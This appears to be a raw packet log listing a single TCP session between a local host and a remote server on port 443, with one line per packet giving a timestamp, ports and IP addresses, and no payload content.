Jun 30, 2021 20:06:09.043504000 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.043515921 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.043529034 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.043545008 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.043557882 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.043557882 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.043572903 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.043586016 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.043600082 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.043602943 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.043617010 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.043625116 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.043634892 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.043651104 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.043664932 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.043668032 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.043682098 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.043699026 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.043710947 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.043711901 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.043725014 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.043739080 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.043740988 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.043754101 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.043762922 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.043771029 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.043785095 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.043800116 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.043804884 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.043824911 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.043840885 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.043844938 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.043864012 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.043869972 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.043876886 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.043895006 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.043895006 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.043908119 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.043920994 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.043931961 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.043934107 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.043948889 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.043962955 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.043978930 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.043992996 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.043994904 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.044014931 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.044033051 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.044034958 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.044051886 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.044059038 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.044069052 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.044085979 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.044097900 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.044104099 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.044122934 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.044131994 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.044142008 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.044159889 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.044172049 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.044173002 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.044193029 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.044208050 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.044209003 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.044219971 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.044236898 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.044243097 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.044253111 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.044271946 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.044277906 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.044287920 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.044296980 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.044301987 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.044318914 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.044337034 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.044337034 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.044353008 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.044365883 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.044374943 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.044383049 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.044399977 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.044404030 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.044421911 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.044430971 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.044440985 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.044457912 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.044466019 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.044480085 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.044500113 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.044504881 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.044512987 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.044532061 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.044533968 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.044548035 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.044560909 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.044569016 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.044589043 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.044599056 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.044605970 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.044620037 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.044634104 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.044637918 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.044658899 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.044675112 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.044677973 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.044694901 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.044708967 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.044713020 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.044732094 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.044739008 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.044753075 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.044760942 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.044770956 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.044786930 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.044800997 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.044805050 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.044817924 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.044837952 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.044840097 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.044856071 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.044867039 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.044874907 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.044893026 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.044894934 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.044912100 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.044924021 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.044928074 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.044944048 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.044960976 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.044970989 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.044977903 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.044995070 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.045001984 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.045011997 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.045022964 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.045025110 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.045043945 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.045058966 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.045061111 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.045080900 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.045095921 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.045101881 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.045115948 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.045125008 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.045135975 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.045151949 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.045161963 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.045170069 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.045182943 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.045200109 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.045207977 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.045217037 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.045234919 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.045242071 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.045253038 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.045264959 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.045265913 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.045284033 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.045300961 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.045301914 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.045320034 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.045336962 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.045336008 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.045351028 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.045361042 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.045368910 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.045387030 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.045399904 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.045403957 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.045420885 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.045433998 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.045439959 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.045450926 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.045463085 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.045468092 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.045485973 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.045494080 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.045502901 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.045516968 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.045520067 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.045535088 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.045552015 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.045561075 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.045569897 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.045583010 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.045592070 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.045597076 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.045614958 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.045633078 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.045636892 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.045655966 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.045671940 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.045674086 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.045687914 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.045696020 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.045706987 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.045725107 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.045738935 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.045742989 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.045761108 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.045775890 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.045779943 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.045794964 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.045805931 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.045811892 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.045830011 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.045841932 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.045847893 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.045867920 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.045871019 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.045881987 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.045896053 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.045914888 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.045917988 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.045939922 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.045943975 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.045962095 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.045975924 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.045980930 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.045998096 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.046005011 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.046015024 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.046032906 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.046044111 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.046050072 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.046063900 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.046073914 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.046081066 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.046097040 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.046113968 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.046113968 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.046132088 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.046149015 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.046156883 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.046161890 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.046180964 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.046199083 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.046200991 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.046220064 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.046224117 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.046238899 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.046252966 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.046256065 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.046266079 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.046278954 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.046292067 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.046300888 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.046308994 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.046327114 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.046340942 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.046344042 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.046360970 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.046372890 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.046379089 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.046396017 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.046400070 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.046416044 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.046425104 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.046436071 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.046452999 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.046463966 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.046472073 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.046488047 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.046509027 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.046511889 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.046533108 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.046536922 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.046550989 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.046569109 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.046576977 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.046587944 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.046605110 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.046612024 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.046622038 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.046638012 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.046638966 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.046659946 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.046667099 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.046678066 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.046694994 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.046704054 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.046711922 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.046727896 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.046737909 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.046745062 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.046761990 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.046768904 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.046778917 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.046788931 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.046801090 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.046819925 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.046825886 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.046835899 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.046853065 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.046861887 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.046874046 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.046883106 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.046892881 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.046910048 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.046926022 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.046927929 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.046947956 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.046966076 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.046967030 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.046983957 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.046994925 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.047000885 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.047018051 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.047030926 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.047034979 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.047054052 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.047069073 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.047070980 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.047091007 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.047095060 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.047110081 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.047146082 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.047151089 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.047158957 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.047168016 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.047187090 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.047194958 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.047204018 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.047224998 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.047231913 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.047244072 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.047267914 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.047270060 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.047291040 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.047293901 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.047308922 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.047327042 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.047336102 CEST	49720	443	192.168.2.3	212.2.198.90
